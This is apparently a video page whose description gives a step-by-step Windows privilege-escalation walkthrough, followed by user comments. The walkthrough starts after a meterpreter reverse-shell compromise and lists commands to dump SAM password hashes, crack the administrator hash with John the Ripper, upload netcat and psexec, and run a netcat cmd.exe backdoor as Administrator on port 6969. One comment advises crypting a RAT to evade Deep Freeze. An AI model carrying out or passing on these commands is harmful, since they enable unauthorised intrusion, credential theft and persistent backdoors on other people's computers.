Exploit Hacking 2 - Privilege Escalation

This Video shows how to gain access to files after hacking into a computer. For instance, in this video I hacked into this box when a Guest user was logged in; therefore, I would have to escalate my privileges to gain access to administrator files and programs. This video is for education reasons only.

Steps:
------
(after connecting to remote computer with Payload of win32_reverse_meterpreter)
1) Load File system library, SAM library, and Process library
ex. use -m Fs use -m Sam use -m Process
2) Get the window's password hash file
ex. gethashes
(gethashes is part of the SAM library)
3) Crack the Admin's hash with John the ripper
ex. john /tmp/dump-01.txt
4) Upload Netcat, Psexec, and whoami. Netcat is a useful program to up a backdoor on a computer. Psexec can select what user to run a program under. Whoami just tells you what user you are logged in as.
ex. upload /tmp/nc.exe c: upload /tmp/psexec.exe c: upload /tmp/whoami.exe c:
5) Run a Netcat server under the Admin's account!
ex. psexec.exe \\127.0.0.1 -u Administrator -p hacker c:\nc.exe -L -d -e cmd.exe -p 6969
6) Telnet into the Netcat server and you now have admin access!!!
ex. Telnet 192.168.0.6 6969

Category:

Entertainment

Tags:

• hacking
• hack
• exploit
• user
• admin
• administrator
• privilege
• escalation
• root

[Logixmaster]

this looks like you're using it on KDE. Did you happen to mention what operating system to do this on?

[Gregorpm]

I used a Slax linux distro called Backtrack

[SSTGohanX]

thats pretty good, i can understand that working. backtrack is probably the best security distro out there; but i stick to my roots with real linux distro's...i like gentoo the best though lol;; well the kernel at least. congrats, the 2nd video i have seen on myspace that actually has an author of intelligence. lol :]

[2FN2Nice]

wow that was such a clear video was it HD lol i had no clue wtf he was doin lol

--2FN GL,JM,KJB--

[paulnathanielsmith]

Ya i have prograsms that do that 4 me...JTR is cool and cain and abel

[VladMachine]

@paulnathanielsmith try rainbow tables.

[paulnathanielsmith]

Man I been using john the ripper takes forever to crack DEM...Over a week running still have not cracked the password...seems pointless to try to hack

[sonysplaything]

booo

[HomerJSimpson988]

sorry for my bad english but i m not english!

i m studing hacking since 2 years..

i m very prepared in hacking and i use too netcat telnet wireshark for sniffing the net etc etc..

now i want to say where can i found the different os for server and their bug in way that i can study this bug?? and in way to use then their exploits?? thanks a lot!!

[3Copson25Doughnuts]

@Ninjaferret666 use a rat and when you crypt it make sure you put antideepfreeze

[manali251092]

go full screen :)

[miekmuse1exploit]

fucking idiots go learn skills

if you dont know what is backtrack dont ask idiots

[manonfirex42]

most people don't know this but, you can add &fmt=6 as well to get better audio..

[gvbabushi]

hey gregorpm can u tell me where u get the shell or can u give to me (upload it pls) i need it very much pls upload for me a shell